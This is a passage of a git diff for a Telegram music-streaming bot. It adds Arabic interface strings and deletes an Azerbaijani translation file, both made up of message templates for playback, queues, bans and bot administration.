\nسعة تخزين قاعدة البيانات الإجمالية : {18} ميجابايت
\nإجمالي مجموعات بيانات قاعدة البيانات : {19}
\nإجمالي مفاتيح قاعدة البيانات : {20}
"
+
+playcb_1 : "» آه، هذا ليس لك يا حبيبي."
+playcb_2 : "» جاري الحصول على النتيجة التالية،\n\nالرجاء الانتظار..."
+
+cplay_1 : "» يمكنك تشغيل الموسيقى في القنوات من {0} إلى أي قناة أخرى أو القناة المرتبطة بالدردشة.\n\nللقناة المرتبطة :\n/channelplay linked
\n\nلأي قناة أخرى :\n/channelplay [معرف القناة]
"
+cplay_2 : "» هذه الدردشة ليس لديها أي قناة مرتبطة."
+cplay_3 : "» تم تعيين القناة إلى {0}.\nمعرف القناة : {1}
"
+cplay_4 : "» فشل في الحصول على القناة.\n\nتأكد من أنك قمت بإضافة البوت إلى القناة وترقيته كمشرف."
+cplay_5 : "القنوات فقط مدعومة."
+cplay_6 : "» يجب أن تكون المالك للقناة {0} لتربطها بالمجموعة هذه.\nمالك القناة : @{1}\n\nبديلاً يمكنك ربط مجموعتك بتلك القناة ومن ثم محاولة الاتصال باستخدام /channelplay linked
"
+cplay_7 : "» تم تعطيل تشغيل القناة."
+
+play_1 : "🔎"
+play_2 : "➻ وضع تشغيل القناة\n\nجاري المعالجة، يرجى الانتظار...\n\nالقناة المرتبطة : {0}"
+play_3 : "» فشل في معالجة الاستعلام."
+play_4 : "تشغيل للمسؤولين فقط\nيُسمح فقط لمسؤولي هذه الدردشة بالتشغيل\n\nقم بتغيير وضع التشغيل عبر /playmode"
+play_5 : "» فشل في معالجة ملف الصوت.\n\nحجم ملف الصوت أكبر من الحد المحدد."
+play_6 : "» البث أطول من {0} غير مسموح بتشغيله على {1}"
+play_7 : "» ليس ملحق ملف فيديو صالح.\n\nالملحقات المدعومة : {0}"
+play_8 : "» يجب أن يكون حجم ملف الفيديو أقل من 1 جيجابايت."
+play_9 : "ميزة قائمة تشغيل يوتيوب\n\nحدد الوضع الذي تريد تشغيل قائمة تشغيل يوتيوب كاملة فيه."
+play_10 : "العنوان : {0}\nالمدة : {1} دقيقة"
+play_11 : "مشغل سبوتيفاي {0}\n\nالطلب من قِبل : {1}"
+play_12 : "مشغل أبل ميوزك {0}\n\nالطلب من قِبل : {1}"
+play_13 : "» تم الكشف عن بث مباشر.\n\nهل أنت متأكد أنك تريد تشغيل هذا البث المباشر؟"
+play_14 : "فشل في جلب تفاصيل المسار.\n\nجرب تشغيل أي مسار آخر."
+play_15 : "» فشل في معالجة الاستعلام.\n\nأستطيع فقط تشغيل مسارات سبوتيفاي والبومات وفنانين وقوائم تشغيل."
+play_16 : "لا يوجد دردشة صوتية نشطة.\n\nلاستخدام التشغيل القسري، يجب أن يكون هناك دردشة صوتية نشطة."
+play_17 : "يرجى تشغيل دردشة الفيديو، لا يمكنني تشغيل عناوين URL."
+play_18 : "الاستخدام: /play [اسم الأغنية/عنوان يوتيوب/الرد على ملف صوتي/فيديو]"
+play_19 : "قائمة التشغيل في الانتظار:"
+play_20 : "الموقف في قائمة الانتظار -"
+play_21 : "تمت إضافة {0} مسارات إلى القائمة في الانتظار.\n\nالتحقق: انقر هنا"
+play_22 : "حدد الوضع الذي تريد تشغيل الاستعلامات به داخل مجموعتك: {0}"
+
+str_1 : "يرجى تقديم روابط m3u8 أو index."
+str_2 : "➻ تم التحقق من البث الصالح.\n\nجاري المعالجة..."
+str_3 : "فشل في بث بث مباشر من يوتيوب، لم يتم العثور على تنسيق بث مباشر."
+
+ping_1 : "يتم عمل بينغ لـ {0}..."
+ping_2 : "🏓 البونج : {0}ms
\n\n{1} إحصائيات النظام :\n\n↬ وقت التشغيل : {2}\n↬ الذاكرة العشوائية (RAM) : {3}\n↬ المعالج (CPU) : {4}\n↬ القرص الصلب (Disk) : {5}\n↬ Py-TgCalls : {6}ms
"
+
+queue_1 : "» جاري جلب قائمة الانتظار...\n\nيرجى الانتظار..."
+queue_2 : "» قائمة الانتظار فارغة."
+queue_3 : "» انقر هنا للتحقق من قائمة المقاطع في الانتظار : هنا"
+queue_4 : "➲ تمت إضافته إلى قائمة الانتظار في الموقع رقم #{0}\n\n‣ العنوان : {1}\n‣ المدة : {2} دقيقة\n‣ طلب بواسطة : {3}"
+queue_5 : "هناك مقطع واحد فقط في قائمة الانتظار.\n\nأضف المزيد من المقاطع للتحقق من القائمة."
+queue_6 : "🕚 المدة : مدة البث غير معروفة\n\nانقر على الزر أدناه للحصول على قائمة الانتظار بالكامل."
+queue_7 : "\nانقر على الزر أدناه للحصول على قائمة الانتظار بالكامل."
+queue_8 : "مشغل {0}\n\n🎄 يتم البث حاليًا لـ : {1}\n\n🔗 نوع البث : {2}\n🥀 طلب بواسطة : {3}\n{4}"
+
+stream_1 : "➲ بدء البث |\n\n‣ العنوان : {1}\n‣ المدة : {2} دقيقة\n‣ طلب بواسطة : {3}"
+stream_2 : "➲ بدء البث |\n\n‣ نوع البث : بث مباشر [الرابط]\n‣ طلب بواسطة : {0}"
+
+CLOSE_BUTTON : "إغلاق"
+BACK_BUTTON : "رجوع"
+
+S_B_1 : "أضفني"
+S_B_2 : "الدعم"
+S_B_3 : "أضفني في مجموعتك"
+S_B_4 : "المساعدة والأوامر"
+S_B_5 : "المطور"
+S_B_6 : "القناة"
+S_B_7 : "الشيفرة المصدرية"
+S_B_8 : "👀 يوتيوب 👀"
+S_B_9 : "🥀 الدعم 🥀"
+
+H_B_1 : "أدمن"
+H_B_2 : "أوث"
+H_B_3 : "بث"
+H_B_4 : "بل-دردشة"
+H_B_5 : "بل-مستخدم"
+H_B_6 : "تشغيل-عشوائي"
+H_B_7 : "حظر-جماعي"
+H_B_8 : "تكرار"
+H_B_9 : "صيانة"
+H_B_10 : "بنج"
+H_B_11 : "تشغيل"
+H_B_12 : "تبديل-عشوائي"
+H_B_13 : "بحث"
+H_B_14 : "أغنية"
+H_B_15 : "سرعة"
+
+P_B_1 : "صوتي"
+P_B_2 : "فيديو"
+P_B_3 : "بث مباشر"
+P_B_4 : "عادي"
+
+ST_B_1 : "مستخدمين مصرح لهم"
+ST_B_2 : "وضع التشغيل"
+ST_B_3 : "اللغة"
+ST_B_4 : "وضع التصويت"
+ST_B_5 : "مشغل"
+ST_B_6 : "معطل"
+ST_B_7 : "مستخدمين مصرح لهم ➜"
+ST_B_8 : "مسؤولون"
+ST_B_9 : "الجميع"
+ST_B_10 : "وضع البحث ➜"
+ST_B_11 : "مباشر"
+ST_B_12 : "داخلي"
+ST_B_13 : "أوامر المسؤول ➜"
+ST_B_14 : "نوع التشغيل ➜"
+
+SA_B_1 : "إحصائيات عامة"
+SA_B_2 : "عام"
+SA_B_3 : "عامة"
+
+QU_B_1 : "قائمة الانتظار"
+QU_B_2 : " {0} —————————— {1}"
+
+sudo_1 : "» {0} موجود بالفعل في قائمة مستخدمي sudo."
+sudo_2 : "» تمت إضافة {0} إلى قائمة مستخدمي sudo."
+sudo_3 : "» {0} غير موجود في قائمة مستخدمي sudo."
+sudo_4 : "» تمت إزالة {0} من قائمة مستخدمي sudo."
+sudo_5 : "🥀 المالك :\n"
+sudo_6 : "\n✨ مستخدمو sudo :\n"
+sudo_7 : "» لا توجد مستخدمين sudo."
+sudo_8 : "فشل."
+
+block_1 : "» {0} محظور بالفعل من البوت."
+block_2 : "» تمت إضافة {0} إلى قائمة المستخدمين المحظورين."
+block_3 : "» {0} غير موجود في قائمة المستخدمين المحظورين."
+block_4 : "» تمت إزالة {0} من قائمة المستخدمين المحظورين."
+block_5 : "» لا توجد مستخدمين محظورين."
+block_6 : "» جاري الحصول على قائمة المستخدمين المحظورين..."
+block_7 : "😫 المستخدمون المحظورون :\n\n"
+
+black_1 : "مثال :\n\n/blacklistchat [معرّف الدردشة]"
+black_2 : "» هذه الدردشة محظورة بالفعل."
+black_3 : "» تمت إضافتها بنجاح إلى قائمة الدردشات المحظورة."
+black_4 : "مثال :\n\n/whitelistchat [معرّف الدردشة]"
+black_5 : "» هذه الدردشة غير محظورة."
+black_6 : "» تمت إزالتها بنجاح من قائمة الدردشات المحظورة."
+black_7 : "» قائمة الدردشات المحظورة :\n\n"
+black_8 : "» لا توجد دردشات محظورة على {0}."
+black_9 : "» حدث خطأ ما."
+
+maint_1 : "مثال :\n/maintenance [تمكين | تعطيل]"
+maint_2 : "» تم تمكين وضع الصيانة {0}."
+maint_3 : "» تم تعطيل وضع الصيانة {0}."
+maint_4 : "» وضع الصيانة مُمكّن بالفعل."
+maint_5 : "» وضع الصيانة مُعطّل بالفعل."
+
+log_1 : "مثال :\n/logger [تمكين | تعطيل]"
+log_2 : "تم تمكين تسجيل البيانات."
+log_3 : "تم تعطيل تسجيل البيانات."
+
+broad_1 : "» بدء البث..."
+broad_2 : "مثال :\n\n/broadcast [الرسالة أو الرد على رسالة]"
+broad_3 : "» تم بث الرسالة إلى {0} دردشة مع {1} تثبيتًا من البوت."
+broad_4 : "» تم بث الرسالة إلى {0} مستخدمين."
+broad_5 : "» بدء بث المساعد..."
+broad_6 : "➻ بث المساعد :\n\n"
+broad_7 : "↬ تم بث المساعد {0} في {1} دردشة."
+broad_8 : "» يُرجى تقديم نص للبث."
+
+server_1 : "» فشل في الحصول على السجلات."
+server_2 : "يرجى التأكد من تكوين مفتاح API هيروكو الخاص بك واسم التطبيق بشكل صحيح."
+server_3 : "التحقق من وجود تحديثات متاحة..."
+server_4 : "خطأ في أمر git."
+server_5 : "مستودع Git غير صالح."
+server_6 : "» البوت محدث."
+server_7 : "» تم تحديث البوت بنجاح! انتظر بضع دقائق حتى يتم إعادة تشغيل البوت ودمج التغييرات!"
+server_8 : "جاري إعادة تشغيل {0}...\n\nيمكنك البدء في التشغيل مرة أخرى بعد 15-20 ثانية."
+server_9 : "حدث خطأ ما، يُرجى التحقق من السجلات."
+server_10 : "حدث استثناء في #مُحدّث بسبب : {0}
"
+server_11 : "» جاري إجراء اختبار سرعة..."
+server_12 : "⇆ جاري اختبار سرعة التنزيل..."
+server_13 : "⇆ جاري اختبار سرعة الرفع..."
+server_14 : "↻ مشاركة نتائج اختبار السرعة..."
+server_15 : "✯ نتائج اختبار السرعة ✯\n\nالعميل :\n» عنوان IP : {0}\n» البلد : {1}\n\nالخادم :\n» الاسم : {2}\n» البلد : {3}, {4}\n» الراعي : {5}\n» التأخير : {6}\n» التأخير في الشبكة : {7}"
+gban_1 : "» لماذا تريد حظر نفسك يا صغيري؟"
+gban_2 : "» لماذا يجب أن أحظر نفسي؟"
+gban_3 : "» لا يمكنك حظر المستخدمين المصرح لهم."
+gban_4 : "» تم حظر {0} بالفعل على مستوى البوت."
+gban_5 : "» جاري تنفيذ حظر عالمي على {0}.\n\nالزمن المتوقع: {1}"
+gban_6 : "حظر عالمي جديد على {0}:\n\nمنبعه من : {1} [{2}
]\nالمستخدم : {3}\nمعرّف المستخدم : {4}\n\nتم الحظر بواسطة : {5}\nالدردشات : {6}"
+gban_7 : "» {0} ليس محظورًا على مستوى البوت."
+gban_8 : "» رفع الحظر العالمي عن {0}.\n\nالزمن المتوقع : {1}"
+gban_9 : "» تم رفع الحظر العالمي عن {0}.\n\nتم إلغاء الحظر في {1} دردشة."
+gban_10 : "» لا يوجد أي مستخدم محظور على مستوى البوت."
+gban_11 : "» جاري جلب قائمة المستخدمين المحظورين على مستوى البوت..."
+gban_12 : "🙂 قائمة المستخدمين المحظورين عالميًا :\n\n"
diff --git a/strings/langs/az.yml b/strings/langs/az.yml
deleted file mode 100644
index 9e1995f..0000000
--- a/strings/langs/az.yml
+++ /dev/null
@@ -1,421 +0,0 @@
-name : 🇦🇿 Azerbaycan
-
-# General Strings
-general_1 : "İstifadəçinin mesajına cavab verin və ya istifadəçi adı/user_id-ni verin."
-general_2 : "Xəta! Komandanın Yanlış İstifadəsi."
-general_3 : "Sorğunuzu emal edərkən bəzi **istisna baş verdi**.\n\nİstisna növü:- {0}"
-general_4 : "Siz bu söhbət qrupunda anonim adminsiniz!\nAdmin Hüquqlarından İstifadəçi Hesabına qayıdın."
-general_5 : "Bu əməliyyatı yerinə yetirmək üçün səsli söhbət hüquqlarını idarə edən admin olmalısınız."
-general_6 : "Bot səsli söhbətdə yayımlanmır."
-
-# Classes - Telegram.py
-tg_1 : "Bot hazırda endirmələrlə **həddən artıq yüklənib**.\n\n**Sonra cəhd edin:** {0} (__gözlənilən vaxt__)"
-tg_2 : "Telegramdan media yükləmək alınmadı."
-
-# Core - Call.py
-call_1 : "Bot köməkçi hesabını kanalınıza dəvət etmək üçün **Admin** İcazəsi tələb edir.\n\nKanal oynatma rejimini : /playmode vasitəsilə deaktiv edin"
-call_2 : "Qrupunuzda və ya kanalınızda Assistent qadağan edilib, lütfən, qadağanı ləğv edin.\n\n**Assistent İstifadəçi Adı:** @{0}\n**Assistent ID:** {1}"
-call_3 : "Assistent Hesabını söhbətinizə dəvət edərkən İstisna baş verdi.\n\n**Səbəb**: {0}"
-call_4 : "Bot **Link vasitəsilə İstifadəçiləri Dəvət Et** Köməkçi hesabını söhbət qrupunuza dəvət etmək üçün icazə tələb edir."
-call_5 : "Assistent Hesabı 5 Saniyəyə qoşulacaq. Zəhmət olmasa Gözləyin!"
-call_6 : "Assistent Hesabı[{0}] Uğurla Qoşuldu.\n\nMusiqi İndi Başlayır"
-call_7 : "**Zərərli Admin hüququ verilir **\n\nLütfən, botdan **İSTİFADƏÇİLƏRİ QADANAN** hüquqlarını silin."
-call_8 : "**Zərərli Admin hüququ verilir **\n\nLütfən, botdan **YENİ ADMINSƏLƏMƏ** hüquqlarını silin."
-call_9 : "**Yayımı dəyişmək alınmadı**\nTresi yenidən dəyişmək üçün /skip istifadə edin."
-call_10 : "Pleylistdən növbəti trek endirilir"
-call_11 : "Lütfən, kanalınıza @{0} əlavə edin[ ID: {1}].\n\nBot kanal təfərrüatlarını əldə edə bilmir."
-
-# PLUGINS - Auth.py
-auth_1 : "Qrupunuzun Səlahiyyətli İstifadəçilər Siyahısında (AUL) yalnız 20 İstifadəçi ola bilər"
-auth_2 : "Qrupunuzun Səlahiyyətli İstifadəçilər Siyahısına əlavə edildi."
-auth_3 : "Artıq Səlahiyyətli İstifadəçilər Siyahısındadır."
-auth_4 : "Bu Qrupun Səlahiyyətli İstifadəçiləri Siyahısından Silindi."
-auth_5 : "Hədəf edilmiş istifadəçi Səlahiyyətli İstifadəçi deyil."
-auth_6 : "İcazəli İstifadəçilər götürülür... Lütfən gözləyin"
-auth_7 : "**Səlahiyyətli İstifadəçilər Siyahısı[AUL]:**\n\n"
-auth_8 : "┗ Əlavə edib:-"
-
-# PLUGINS - Admins
-admin_1 : "Musiqi artıq dayandırılıb."
-admin_2 : "🎧 Səsli söhbət {} tərəfindən dayandırıldı!"
-admin_3 : "Musiqi artıq davam etdirilib."
-admin_4 : "🎧 Səsli söhbət {} tərəfindən davam etdirildi!"
-admin_5 : "Musiqi artıq səssizdir."
-admin_6 : "🎧 Səsli söhbət {} tərəfindən susduruldu!"
-admin_7 : "Musiqi artıq səssizdir."
-admin_8 : "🎧 Səsli söhbət {} tərəfindən səssizdən çıxarıldı!"
-admin_9 : "🎧 Səsli söhbət {} tərəfindən bitdi/dayandırıldı!"
-admin_10 : "🎧 Səsli söhbət {} tərəfindən atlandı!. Növbədə daha musiqi yoxdur."
-admin_11 : "Yayım **{0}** olaraq dəyişdirilərkən xəta baş verdi.\n\nLütfən, yenidən /skip istifadə edin."
-admin_12 : "Aktivləşdirilmiş loop ifasına görə xüsusi treki keçmək mümkün deyil. Lütfən, bu funksiyadan istifadə etmək üçün `/loop disable` vasitəsilə loop ifasını deaktiv edin."
-admin_13 : "Xüsusi treklər üçün rəqəmli nömrələrdən istifadə edin, məsələn, 1, 2 və ya 4 və s."
-admin_14 : "Xüsusi nömrəyə keçmək üçün növbəyə ən azı 2 trek lazımdır. Növbəni /növbə ilə yoxlayın"
-admin_15 : "Sizin verdiyiniz dəyər üçün növbədə kifayət qədər trek yoxdur. Lütfən, 1 və {0} arasında rəqəmlər seçin"
-admin_16 : "Xüsusi treki keçmək alınmadı.\n\nSol növbəni /queue ilə yoxlayın"
-admin_17 : "{0}.. Zəhmət olmasa gözləyin"
-admin_18 : "Admin Siyahısı Tapılmadı\n\nLütfən, /admincache və ya /reload vasitəsilə admin siyahısını yenidən yükləyin"
-admin_19 : "Bunu həyata keçirmək üçün səsli çatı idarə etmək hüququ olan admin olmalısınız.\nƏgər siz artıq adminsinizsə, /admincache vasitəsilə admincache yenidən yükləyin "
-admin_20 : "Admin keşi uğurla yenidən yükləndi."
-admin_21 : "Növbədə qarışdırmaq üçün heç nə yoxdur"
-admin_22 : "Qarışdırmaq alınmadı.\n\nNövbəni yoxlayın : /növbə"
-admin_23 : "**Növbə {0} tərəfindən qarışdırıldı**\n\nQarışdırılmış növbəni yoxlayın : /növbə"
-admin_24 : "**İstifadə:**\n/döngü [enable/disable] və ya [1-10 arası rəqəm]\n\n**Misal:** /döngü 5"
-admin_25 : "Loop {0} tərəfindən **{1}** dəfə aktivləşdirildi. Bot indi səsli çatda cari oxunan musiqini **{1}** dəfə təkrarlayacaq"
-admin_26 : "Lütfən, dövrə oyunu üçün 1-10 arası rəqəmlərdən istifadə edin"
-admin_27 : "Loop Play qeyri-aktiv edilib"
-
-# Bot
-
-# Start
-start_1 : "Məni {0}-da olduğunuz üçün təşəkkür edirəm.\n{1} sağdır.\n\nHər hansı yardım və ya yardım üçün dəstək qrupumuzu və kanalımızı yoxlayın."
-start_2 : "Salam, mənim adım {0}.\n\nMənim bəzi faydalı xüsusiyyətləri olan teleqram yayım botuyam. Youtube, Spotify, Resso, AppleMusic, Soundcloud və s. kimi platformaları istifadə edirəm.\n\nMəni qruplarınıza əlavə etməkdən çəkinməyin."
-start_3 : "Xoş gəlmisiniz {0}\n\nİşləmək üçün **admin icazəsinə** ehtiyacım yoxdur ( tələb olunana qədər).\n\nAssistent İstifadəçi Adı:- @{1}\nAssistent ID-si:- {2} "
-start_4 : "{0} Sahibi[{1}] indicə söhbətinizə qoşulub."
-start_5 : "{0} adlı istifadəçinin Sudo İstifadəçisinin[{1}] üzvü indicə söhbətinizə qoşulub."
-start_6 : "❗️ **Superqrup lazımdır** ❗️\n\nLütfən, **qrupunuzu** **superqrupa** çevirin və sonra məni yenidən əlavə edin.\n\n**Superqrupu necə yaratmaq olar?**\n✅ Qrupunuzun söhbət tarixçəsini bir dəfə **görünən** edin."
-start_7 : "**Blacklisted Chat**\n\nYou're chat has been blacklisted by the Bot. Please ask any SudoUser to whitelist chat first. Check [Sudolist from here]({0})"
-
-# Help
-help_1 : "Ətraflı məlumat üçün aşağıdakı düymələrə klikləyin. Əgər komandada hər hansı problemlə üzləşsəniz, bot sahibimlə əlaqə saxlaya və ya dəstək çatında soruşa bilərsiniz.\n\nBütün əmrlər aşağıdakılarla istifadə edilə bilər: /"
-help_2 : "Kömək üçün PM-də mənimlə əlaqə saxlayın."
-
-# Settings
-settings_1 : "⚙️ **Musiqi Botu Parametrləri**\n\n🖇**Qrup:** {0}\n🔖**Qrup ID-si:** `{1}`\n\n💡**Funksiyanı seçin Aşağıdan redaktə etmək və ya dəyişmək istədiyiniz düymələr.**"
-settings_3 : "⁉️ Bu nədir?\n\n1) Birbaşa: Axtarış sorğularını birbaşa oxuyur. Videoları birbaşa rejimdə oynamaq üçün -v düyməsini istifadə edin.\n\n2) Daxil: Video və audio arasında seçim etmək üçün Daxili İşarələmə Düymələrini qaytarır."
-settings_4 : "⁉️ Bu nədir?\n\n👥 Hər kəs: Bu qrupda mövcud olan admin əmrlərindən (keçmə, fasilə, davam etdirmə və s.) hər kəs istifadə edə bilər.\n\n🙍 Yalnız Admin: Yalnız adminlər və səlahiyyətli istifadəçilər admin əmrlərindən istifadə edə bilər. ."
-settings_5 : "Heç bir Səlahiyyətli İstifadəçi Tapılmadı\n\nSiz hər hansı qeyri-admin admin əmrlərimi /auth ilə istifadə etməyə və /unauth istifadə edərək silməyə icazə verə bilərsiniz"
-settings_9 : "⁉️ Bu nədir?\n\nAktivləşdirildikdə, Bot söhbətinizi təmiz və aydın etmək üçün {0} sonra mesajını siləcək."
-settings_10 : "⁉️ Bu nədir?\n\n1) Qrup: Komandanın verildiyi qrupda musiqi ifa edir .\n\n2) Kanal: İstədiyiniz kanalda musiqi oxuyur. /channelplay vasitəsilə kanal id-sini təyin edin."
-settings_11 : "⁉️ Bu nədir?\n\n1) Hər kəs: Bu qrupda olan hər kəs burada musiqi ifa edə bilər.\n\n2) Yalnız Admin: Bu qrupda musiqini yalnız adminlər ifa edə bilər."
-settings_12 : "❌ Kanal rejimi üçün müəyyən edilmiş kanal id-si yoxdur. Lütfən, /channelplay ilə müəyyən edin."
-settings_13 : "Aktiv qrup zəngində ifa rejimini dəyişmək mümkün deyil. Lütfən, əvvəlcə /stop ilə səsli söhbəti dayandırın."
-settings_14 : "⁉️ Bu nədir?\n\nAktivləşdirildikdə, Bot icra etdiyi əmrləri (/oynat, /pauza, /qarışdır, /dayan və s.) dərhal siləcək.\n\nBunun üçün bot admindən mesajların silinməsini tələb edəcək. düzgün işləyin."
-settings_15 : "Peer həll edilmədi, kanalınıza bot əlavə etdiyinizə və onu admin kimi tanıtdığınıza əmin olun.\n\nYenidən /channelplay-ı quraşdırmağa cəhd edin.."
-
-set_cb_1 : "Səs Keyfiyyəti Paneli əldə edilir..."
-set_cb_2 : "Video Keyfiyyət Paneli əldə edilir..."
-set_cb_3 : "İstifadəçilərin Auth Paneli əldə edilir..."
-set_cb_4 : "Oynatma Rejimi Paneli əldə edilir..."
-set_cb_5 : "Təmiz Rejim Paneli əldə edilir..."
-set_cb_6 : "Dəyişikliklərin qurulması."
-set_cb_7 : "Auth İstifadəçi Siyahısı əldə edilir.. LÜTFEN GÖZLƏYİN."
-set_cb_8 : "Geri qayıdıram.."
-
-# Misc
-ustats_1 : "Heç bir istifadəçi statistikası tapılmadı."
-ustats_2 : "Salam!, Siz indiyə qədər **{1}** dəfə çoxlu sayda **{0}** trek ifa etmisiniz.\n\nƏn çox ifa etdiyiniz {2}:\n\n"
-
-gstats_1 : "Qlobal Statistika əldə edilir, bu bir az vaxt ala bilər..."
-gstats_2 : "Heç bir statistika tapılmadı."
-gstats_3 : "Botda Qlobal Top 10 {0}-u əldə etmək, bu bir az vaxt apara bilər.."
-gstats_4 : "**Botdakı Ümumi Sorğular:** {0}\n\n{1} indiyədək **{3}** dəfə çoxlu sayda **{2}** treki ifa edib.\n \n**Ən yaxşı {4} trek:**\n"
-gstats_5 : "**Ən Yaxşı {0} Söhbət {1}:**\n\n"
-gstats_6 : "**Ən çox {1} istifadəçisi olan {0}:**\n\n"
-gstats_7 : "Bu söhbət qrupu indiyədək **{1}** dəfə çoxlu sayda **{0}** trek ifa edib.\n\nBu söhbət qrupu tərəfindən ifa olunan ən yaxşı {2}:\n\n"
-gstats_8 : "Botun ümumi statistikası və məlumatı əldə edilir.. Bu bir az vaxt ala bilər..."
-gstats_9 : "**BOTUN ÜÇÜN QLOBAL 10 İSTATİSTİKASI**\n\nAşağıdan botun serverlərindən qlobal statistikanı yoxlamaq istədiyiniz düymələri seçin."
-gstats_10 : "**{0} üzrə Qlobal Statistikalar**\n\nAşağıdan botun serverlərindən qlobal statistikanı yoxlamaq istədiyiniz düymələri seçin."
-gstats_11 : "**{0} üzrə Ümumi Statistikalar**\nAşağıdan botun serverlərindən qlobal statistik göstəriciləri yoxlamaq istədiyiniz düymələri seçin.\n\nƏn yaxşı trekləri, söhbətləri, istifadəçiləri və digər materialları yoxlamaq üçün /gstats istifadə edin."
-
-
-# Play
-
-#Play Callback
-cplay_1 : "Siz bu söhbətdən[{0}] istənilən kanala və ya söhbətinizin əlaqəli kanalına olan kanallarda musiqi oxuya bilərsiniz.\n\n**Əlaqəli kanal üçün:**\n`/{1} əlaqələndirilmiş`\n\ n**Hər hansı digər kanal üçün:**\n`/{1} [Kanal ID]`"
-cplay_2 : "Bu çatda bağlı kanal yoxdur."
-cplay_3 : "Kanal {0} üçün müəyyən edilib\n\n__Kanal ID__: {1}"
-cplay_4 : "Kanal əldə etmək alınmadı.\n\nKanalınıza bot əlavə etdiyinizə və onu admin kimi təbliğ etdiyinizə əmin olun.\nKanalı /channelplay vasitəsilə dəyişdirin və ya /playmode vasitəsilə kanalın oxutma rejimini deaktiv edin"
-cplay_5 : "Yalnız Kanallar dəstəklənir."
-cplay_6 : "Bu qrupa qoşulmaq üçün kanalın[{0}] **Sahibi** olmalısınız.\n**Kanalın Sahibi:** @{1}\n\nAlternativ olaraq qrupunuzu əlaqələndirə bilərsiniz. həmin kanala və sonra `/channelplay linked` ilə qoşulmağa cəhd edin"
-
-#Play
-play_1 : "🔄 Sorğu emal olunur... Lütfən gözləyin!"
-play_2 : "**🏷Kanal Oynatma Rejimi**\n\n🔄 Sorğu emal olunur... Lütfən gözləyin!\n**Əlaqələndirilmiş Kanal:** {0}"
-play_3 : "Sorğunu emal etmək alınmadı!"
-play_4 : "🖇 **Yalnız Adminlər Oynadır**\nYalnız Adminlər və Auth İstifadəçiləri bu qrupda musiqi oxuya bilər.\n\nRejimi /playmode vasitəsilə dəyişin və artıq adminsinizsə, /admincache vasitəsilə admincache yenidən yükləyin"
-play_5 : "Audio faylı emal etmək alınmadı.\n\nAudio Faylın Ölçüsü 100 mb-dən Az Olmalıdır"
-play_6 : "**Müddət Limiti keçdi**\n\n**İcazə Verilən Müddət: **{0} dəqiqə\n**Qəbul Müddəti:** {1} saat(s)"
-play_7 : "Bağışlayın! Bot CPU-nun həddən artıq yüklənməsi problemlərinə görə yalnız məhdud sayda video zənglərə icazə verir. Bir çox digər çatlar hazırda video zəngdən istifadə edir. Audioya keçin və ya sonra yenidən cəhd edin"
-play_8 : "Etibarlı Video Fayl Genişlənməsi Deyil!\n\n**Dəstəklənən Formatlar:** {0}"
-play_9 : "Videonun Fayl Ölçüsü 1 GiB-dən Az Olmalıdır"
-play_10 : "**Youtube Pleylist Xüsusiyyəti**\n\nBütün Youtube Pleylistini oxutmaq istədiyiniz Rejimi seçin"
-play_11 : "📎Başlıq: **{0}\n\n⏳Müddət:** {1} Dəqiqə"
-play_12 : "**Spotify Play Mode**\n\nTələb:- {0}"
-play_13 : "**Apple Playlists**\n\nTələb:- {0}"
-play_14 : "**URL-i yoxlamaq mümkün olmadı.**\nBot bu url-in aşağıdakı platformalardan hər hansı birinə aid olub-olmaması ilə maraqlanır: Youtube, AppleMusic, Spotify, Resso və Soundcloud.\n\nM3u8 və ya Uzaqdan Linklər üçün /stream istifadə edə bilərsiniz. ."
-play_15 : "**Canlı Yayım Aşkarlandı**\n\nSistemlər trek linkinizi canlı yayım kimi aşkarladı. Canlı yayımı oynamaq istəyirsiniz?"
-play_16 : "Toz təfərrüatlarını əldə etmək alınmadı. Başqa birini çalmağa cəhd edin."
-play_17 : "Bu cür spotify sorğusunu oxutmaq mümkün deyil!\n\nMən yalnız spotify musiqilərini, albomlarını, ifaçılarını və çalğı siyahılarını oxuya bilərəm"
-play_18 : "**Heç bir Aktiv Səsli Söhbət Tapılmadı**\n\nZorla oxutmaqdan istifadə etmək üçün qrupunuzda aktiv səsli söhbət olmalıdır. **Force Play** səsli çatda oxunan treki dayandırır və növbəni pozmadan/təmizləmədən dərhal treki axtardı."
-
-
-#Playlist
-playlist_1 : "**İstifadə:** /oyun [Musiqi Adı və ya Youtube Linki və ya Audioya Cavab]\n\nƏgər Botun Server Pleylistini oynamaq istəyirsinizsə! Aşağıdakı düyməni basın."
-playlist_2 : "Pleylistiniz alınır. Lütfən gözləyin"
-playlist_3 : "Bot serverində pleylistiniz yoxdur."
-playlist_4 : "Gətirilmiş pleylist:\n\n"
-playlist_5 : " Müddət - {0} Dəqiqə"
-playlist_6 : "Playlistlərin silinməsi üçün mənimlə PM-də əlaqə saxlayın."
-playlist_7 : "Pleylist daxilindəki treklər: {0}\n\nPleylistinizdəki xüsusi treki silmək üçün Düymələrə basın.\n\nBütün pleylisti silmək üçün: Bütün Pleylist düyməsini basın."
-playlist_8 : "Artıq Mövcuddur\n\nBu trek pleylistinizdə mövcuddur."
-playlist_9 : "Bağışlayın! Pleylistdə yalnız {0} musiqi ola bilər."
-playlist_10 : "Pleylist Əlavəsi\n\n{0}\nplaylistinizə əlavə edildi."
-playlist_11 : "Trağınız uğurla silindi."
-playlist_12 : "Trağınızı silmək alınmadı."
-playlist_13 : "Bütün pleylistləriniz serverdən silindi."
-playlist_14 : "**Bütün pleylistinizi silmək istədiyinizə əminsiniz?**\n\nPleylistinizi itirəcəksiniz və onu sonradan bərpa etmək mümkün olmayacaq."
-playlist_15 : "[Bütün Pleylistini Yoxlayın]({0})"
-playlist_16 : "Növbəyə qoyulmuş pleylist:"
-playlist_17 : "Növbəyə qoyulmuş mövqe-"
-playlist_18 : "[Bütün növbəyə qoyulmuş pleylistə baxın]({0})\n\nSon növbəyə qoyulmuş mövqe : **{1}**"
-
-#Playmode
-playmode_1 : "Qrupunuzda sorğuları oynamaq istədiyiniz rejimi seçin[{0}]."
-playmode_2 : "Parametrlər {0} tərəfindən dəyişdirildi və uğurla yadda saxlanıldı"
-
-#Stream
-str_1 : "Lütfən, M3u8 Linkləri və ya İndeks Bağlantılarını təmin edin."
-str_2 : "✅ Etibarlı Yayım Doğrulandı\n\nLütfən, linkin işlənilməsini gözləyin.."
-str_3 : "YouTube canlı yayımlarını yayımlamaq mümkün deyil. Canlı Format Tapılmadı"
-
-#TopPlay
-tracks_1 : "**{0} Ən Yaxşı 10 Pleylist işlənilir**\nBu, bir neçə dəqiqə çəkə bilər (təxminən 3-4 dəqiqə).. Lütfən, gözləyin...\n\n**👤Tələb:** {1}\n\nTop 10 treki /gstats"
